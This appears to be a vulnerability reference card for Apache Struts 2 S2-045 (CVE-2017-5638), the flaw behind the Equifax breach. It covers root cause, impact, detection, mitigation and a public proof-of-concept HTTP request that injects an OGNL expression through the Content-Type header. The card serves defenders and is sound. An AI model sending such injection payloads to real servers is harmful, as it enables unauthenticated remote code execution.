Struts2 S2-045 (Equifax)
- Product
- Apache Struts 2
- CVE
- CVE-2017-5638
- Disclosed
- 2017-03-06
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- 2.3.5 - 2.3.31, 2.5 - 2.5.10
- Fixed
- 2.3.32, 2.5.10.1
Summary
A single malformed Content-Type header sent to any Struts 2 action using the default Jakarta multipart parser executes OGNL on the server. It was mass-exploited within 48 hours of disclosure and was the entry point for the 2017 Equifax breach of ~147 million records.
Root cause
When the Jakarta multipart parser fails to parse a request, it builds an error message that includes the attacker-supplied Content-Type value and passes it to LocalizedTextUtil.findText, which evaluates ${}/%{} OGNL expressions. The OGNL payload can reset the member-access sandbox and call java.lang.Runtime.exec.
Impact
Unauthenticated remote code execution as the application server user.
Public PoC
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
Source: vulhub / struts2/s2-045
Detection
Look for Content-Type headers containing '%{' or '${' or 'ognl' in WAF/proxy logs. nuclei template CVE-2017-5638. Check struts2-core jar versions in WEB-INF/lib.
Mitigation
Upgrade to 2.3.32 / 2.5.10.1 or later, or switch to a different multipart parser; block OGNL-looking Content-Type headers at the WAF.